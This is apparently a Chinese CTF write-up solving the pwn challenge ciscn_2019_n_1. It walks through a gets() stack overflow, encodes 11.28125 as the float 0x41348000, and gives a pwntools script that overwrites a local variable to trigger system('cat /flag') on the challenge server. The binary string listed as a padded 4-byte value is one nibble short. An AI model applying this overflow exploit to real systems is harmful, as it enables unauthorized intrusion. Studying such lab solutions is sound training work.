ciscn_2019_n_1
检查一下文件的保护情况
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位程序,开启了nx保护,ida分析,找到关键的函数
int func()
{
int result; // eax
char v1; // [rsp+0h] [rbp-30h]
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
需要v2为11.28125才能得到flag,并且存在栈溢出漏洞,只要v1可以覆盖到v2,并将v2的值覆盖为11.28125就能得到flag
在内存中表示11.28125就涉及到计算机原理的知识了,化为二进制浮点数表示为
1011.01001 * 2^0
规格化后为
1.01101001 * 2^3
以符号位+指数+尾数,表示即为
0 10000010 01101001
补全4字节
0100 0001 0011 0100 1000 0000 0000
用十六进制表示即为 0x41348000
from pwn import *
r = remote('node3.buuoj.cn',27963)
v2 = 0x41348000
payload = b'a'*(0x30-0x4)+p64(v2)
r.sendline(payload)
r.interactive()